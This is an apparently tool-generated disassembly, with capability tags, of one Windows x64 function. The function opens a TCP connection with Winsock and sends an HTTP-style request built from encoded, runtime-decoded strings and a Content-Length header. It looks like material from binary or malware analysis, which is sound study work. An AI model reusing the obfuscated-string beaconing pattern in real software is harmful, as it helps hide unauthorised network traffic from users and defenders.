Function at 0x1400af420
Capabilities:
Connect socket
Initialize winsock library
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1c0]
sub rsp, 0x2c0
mov rax, qword [0x140123080]
xor rax, rsp
mov qword [rbp + 0x1b0], rax
mov rbx, r8
mov esi, edx
mov rdi, rcx
mov qword [rbp - 0x70], rcx
mov qword [rbp - 0x68], rbx
xor r14d, r14d
movzx eax, byte [0x1401282f0]
movzx ecx, ax
shl cx, 8
or cx, ax
lea rdx, [rbp - 0x10]
call qword [sym.imp.WS2_32.dll_WSAStartup]
cmp eax, dword [0x140127fcc]
je 0x1400af51e
mov esi, dword [0x1401282f4]
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x1400af4ca
inc rdx
cmp rdx, 0x1000
mov rcx, qword [rdi]
jb 0x1400af4c5
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400afbdb
mov rcx, r8
call fcn.1400d180c
mov byte [rdi], 0
mov qword [rdi + 0x18], send
mov qword [rdi + 0x10], r14
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x1400af513
inc rdx
cmp rdx, 0x1000
mov rcx, qword [rbx]
jb 0x1400af50e
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
add rcx, 0xfffffffffffffff8
cmp rcx, 0x1f
ja 0x1400afbe7
mov rcx, r8
call fcn.1400d180c
mov qword [rbx + 0x10], r14
mov eax, esi
jmp 0x1400afba6
mov r15d, 2
mov word [rbp - 0x20], r15w
mov rcx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x1400af536
mov rcx, qword [rdi]
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rbp - 0x1c], eax
movzx ecx, si
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp - 0x1e], ax
mov r8d, dword [0x140127fcc]
mov edx, 1
mov ecx, r15d
call qword [sym.imp.WS2_32.dll_socket]
mov r13, rax
cdqe
mov qword [rsp + 0x40], rax
mov r8d, send
lea rdx, [rbp - 0x20]
mov rcx, rax
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1400af58e
mov esi, dword [0x140127fcc]
jmp 0x1400af490
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x28], r14
mov r15, qword [rbx + 0x10]
mov r12, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x1400af5ae
mov r12, qword [rbx]
movabs rsi, 0x7fffffffffffffff
cmp r15, rsi
ja 0x1400afbed
cmp r15, 0xf
ja 0x1400af5e7
mov qword [rbp - 0x30], r15
mov esi, send
mov qword [rbp - 0x28], rsi
movups xmm0, xmmword [r12]
movups xmmword [rbp - 0x40], xmm0
movq r14, xmm0
jmp 0x1400af674
mov rax, r15
or rax, 0xf
cmp rax, rsi
jbe 0x1400af620
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400d1590
test rax, rax
je 0x1400afc17
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x1400af658
mov rsi, rax
mov ecx, socket
cmp rax, rcx
cmovb rsi, rcx
lea rcx, [rsi + 1]
test rcx, rcx
je 0x1400af658
cmp rcx, 0x1000
jb 0x1400af650
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400afbe1
jmp 0x1400af601
call fcn.1400d1590
mov r14, rax
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], rsi
lea r8, [r15 + 1]
mov rdx, r12
mov rcx, r14
call fcn.1400f3c40
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xor r12d, r12d
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], r12
mov r8d, 0x20
lea rdx, str.JSsUEmofU1MlNAoxVS4iWhczJz4PWwo
lea rcx, [rsp + 0x70]
call fcn.140002d90
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x60]
call fcn.1400beae0
nop
lea rdx, [0x140127f68]
cmp qword [0x140127f80], 0xf
cmova rdx, qword [0x140127f68]
mov r8, qword [0x140127f78]
lea rcx, [rbp - 0x60]
call fcn.1400b9650
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x38], r12
mov r8d, 0xc
lea rdx, str.VSwTEhofCRln
lea rcx, [rsp + 0x20]
call fcn.140002d90
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x50]
call fcn.1400beae0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x1400af71b
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp - 0x60]
call fcn.1400b9650
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1400af765
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400af760
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400afbf3
call fcn.1400d180c
mov r8d, 2
lea rdx, [0x14010d9b0]
lea rcx, [rbp - 0x60]
call fcn.1400b9650
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x38], r12
mov r8d, 0x20
lea rdx, str.PQs0MnAQTFgmNQo0RiUmGAs1P2RTV1o
lea rcx, [rsp + 0x20]
call fcn.140002d90
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x50]
call fcn.1400beae0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x1400af7c2
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp - 0x60]
call fcn.1400b9650
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1400af80c
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400af807
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400afbf9
call fcn.1400d180c
mov r8d, 2
lea rdx, [0x14010d9b0]
lea rcx, [rbp - 0x60]
call fcn.1400b9650
lea rax, [rbp - 0x40]
cmp rsi, 0xf
cmova rax, r14
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400af835
lea r10, [rbp + 0x1a5]
movabs r11, 0xcccccccccccccccd
dec r10
mov rax, r11
mul r8
shr rdx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r10], r8b
mov r8, rdx
test rdx, rdx
jne 0x1400af850
lea r8, [rbp + 0x1a5]
mov rdx, r10
lea rcx, [rsp + 0x50]
call fcn.1400bba60
nop
mov r9d, send
lea r8, str.Content_Length:
lea rcx, [rsp + 0x50]
call fcn.1400bb970
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x30], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x30], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], send
mov byte [rax], 0
xor r8d, r8d
lea rdx, [0x140103cc4]
lea rcx, [rsp + 0x20]
call fcn.1400b9650
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x190], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1a0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], send
mov byte [rax], 0
lea rdx, [rbp + 0x190]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
cmova rdx, rcx
movq r8, xmm1
lea rcx, [rbp - 0x60]
call fcn.1400b9650
nop
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0xf
jbe 0x1400af982
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400af97c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400afbff
call fcn.1400d180c
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x1400af9bf
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400af9ba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400afc05
call fcn.1400d180c
movdqa xmm0, xmmword [0x140110b30]
movdqu xmmword [rsp + 0x30], xmm0
mov byte [rsp + 0x20], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1400afa0f
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400afa0a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400afc0b
call fcn.1400d180c
mov r8d, 2
lea rdx, [0x14010d9b0]
lea rcx, [rbp - 0x60]
call fcn.1400b9650
mov r8d, 2
lea rdx, [0x14010d9b0]
lea rcx, [rbp - 0x60]
call fcn.1400b9650
lea rdx, [rbp - 0x40]
cmp rsi, 0xf
cmova rdx, r14
mov r8, r15
lea rcx, [rbp - 0x60]
call fcn.1400b9650
mov r8d, 2
lea rdx, [0x14010d9b0]
lea rcx, [rbp - 0x60]
call fcn.1400b9650
lea rdx, [rbp - 0x60]
cmp qword [rbp - 0x48], 0xf
cmova rdx, qword [rbp - 0x60]
mov r9d, dword [0x140127fcc]
mov r8d, dword [rbp - 0x50]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_send]
mov ecx, 0x7d0
call fcn.1400af220
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x1400afad3
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400aface
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400afc11
call fcn.1400d180c
movdqa xmm0, xmmword [0x140110b30]
movdqu xmmword [rbp - 0x50], xmm0
mov byte [rbp - 0x60], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x1400afb20
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400afb1a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400afc17
call fcn.1400d180c
nop
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x1400afb5a
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x1400afb55
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400afbdb
mov rcx, r8
call fcn.1400d180c
mov qword [rdi + 0x10], r12
mov qword [rdi + 0x18], send
mov byte [rdi], 0
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x1400afb9f
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x1400afb9a
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400afbe7
mov rcx, r8
call fcn.1400d180c
mov qword [rbx + 0x10], r12
mov eax, r13d
mov byte [rbx], 0
mov qword [rbx + 0x18], send
mov rcx, qword [rbp + 0x1b0]
xor rcx, rsp
call fcn.1400d12d0
mov rbx, qword [rsp + 0x318]
add rsp, 0x2c0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.1400d75d4
nop
call fcn.140002470
nop
call fcn.1400d75d4
nop
call fcn.140002510
nop
call fcn.1400d75d4
int3
call fcn.1400d75d4
nop
call fcn.1400d75d4
nop
call fcn.1400d75d4
nop
call fcn.1400d75d4
nop
call fcn.1400d75d4
nop
call fcn.1400d75d4
int3